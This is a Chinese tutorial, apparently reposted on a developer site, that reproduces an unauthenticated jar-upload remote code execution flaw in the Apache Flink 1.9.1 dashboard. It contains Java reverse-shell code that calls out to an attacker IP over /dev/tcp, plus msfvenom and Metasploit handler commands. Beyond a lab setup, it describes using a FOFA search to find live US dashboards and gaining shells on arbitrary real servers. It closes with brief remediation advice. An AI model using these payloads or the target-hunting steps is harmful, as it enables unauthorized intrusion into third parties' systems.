0

0

apache flink任意jar包上传导致远程代码执行的示例分析

WBOY

WBOY

发布时间:2023-05-15 13:01:13

|

2003人浏览过

|

来源于亿速云

转载

漏洞描述:

2019年11月11号,安全工程师henry chen披露了一个apache flink未授权上传jar包导致远程代码执行的漏洞。由于apache flink dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

环境搭建:

(1) 提前安装好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

(4) 进去到解压后的目录中,来到其bin目录下:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) 启动flink:

./start-cluster.sh

(6) 浏览器访问验证(默认端口为8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)

apache flink任意jar包上传导致远程代码执行的示例分析

开机自启设置

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

apache flink任意jar包上传导致远程代码执行的示例分析

记得修改ip和端口:

apache flink任意jar包上传导致远程代码执行的示例分析

代码:

package shell;public class Revs {
/** * @param args * @throws Exception */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;
cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}}

(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)

apache flink任意jar包上传导致远程代码执行的示例分析

b.然后选择java-->Runnable JAR file

apache flink任意jar包上传导致远程代码执行的示例分析

c.然后选择对应的java项目和导出路径以及导出文件名

apache flink任意jar包上传导致远程代码执行的示例分析

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

AskAI
AskAI

无代码AI模型构建器,可以快速微调GPT-3模型,创建聊天机器人

下载
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

本地复现:

(1) 访问目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit New job,打开上传jar包的页面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 点击Add New选择我们制作好的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

互联网站点:

fofa关键词:

"apache-flink-dashboard" && country="US"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) 随便找一个目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 利用flink上传jar包的功能将我们的jar包上传:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

相关专题

更多
java
java

Java是一个通用术语,用于表示Java软件及其组件,包括“Java运行时环境 (JRE)”、“Java虚拟机 (JVM)”以及“插件”。php中文网还为大家带了Java相关下载资源、相关课程以及相关文章等内容,供大家免费下载使用。

833

2023.06.15

java正则表达式语法
java正则表达式语法

java正则表达式语法是一种模式匹配工具,它非常有用,可以在处理文本和字符串时快速地查找、替换、验证和提取特定的模式和数据。本专题提供java正则表达式语法的相关文章、下载和专题,供大家免费下载体验。

738

2023.07.05

java自学难吗
java自学难吗

Java自学并不难。Java语言相对于其他一些编程语言而言,有着较为简洁和易读的语法,本专题为大家提供java自学难吗相关的文章,大家可以免费体验。

734

2023.07.31

java配置jdk环境变量
java配置jdk环境变量

Java是一种广泛使用的高级编程语言,用于开发各种类型的应用程序。为了能够在计算机上正确运行和编译Java代码,需要正确配置Java Development Kit(JDK)环境变量。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

397

2023.08.01

java保留两位小数
java保留两位小数

Java是一种广泛应用于编程领域的高级编程语言。在Java中,保留两位小数是指在进行数值计算或输出时,限制小数部分只有两位有效数字,并将多余的位数进行四舍五入或截取。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

398

2023.08.02

java基本数据类型
java基本数据类型

java基本数据类型有:1、byte;2、short;3、int;4、long;5、float;6、double;7、char;8、boolean。本专题为大家提供java基本数据类型的相关的文章、下载、课程内容,供大家免费下载体验。

446

2023.08.02

java有什么用
java有什么用

java可以开发应用程序、移动应用、Web应用、企业级应用、嵌入式系统等方面。本专题为大家提供java有什么用的相关的文章、下载、课程内容,供大家免费下载体验。

430

2023.08.02

java在线网站
java在线网站

Java在线网站是指提供Java编程学习、实践和交流平台的网络服务。近年来,随着Java语言在软件开发领域的广泛应用,越来越多的人对Java编程感兴趣,并希望能够通过在线网站来学习和提高自己的Java编程技能。php中文网给大家带来了相关的视频、教程以及文章,欢迎大家前来学习阅读和下载。

16926

2023.08.03

高德地图升级方法汇总
高德地图升级方法汇总

本专题整合了高德地图升级相关教程,阅读专题下面的文章了解更多详细内容。

2

2026.01.16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
CSS3 教程
CSS3 教程

共18课时 | 4.6万人学习

PostgreSQL 教程
PostgreSQL 教程

共48课时 | 7.2万人学习

NumPy 教程
NumPy 教程

共44课时 | 2.9万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号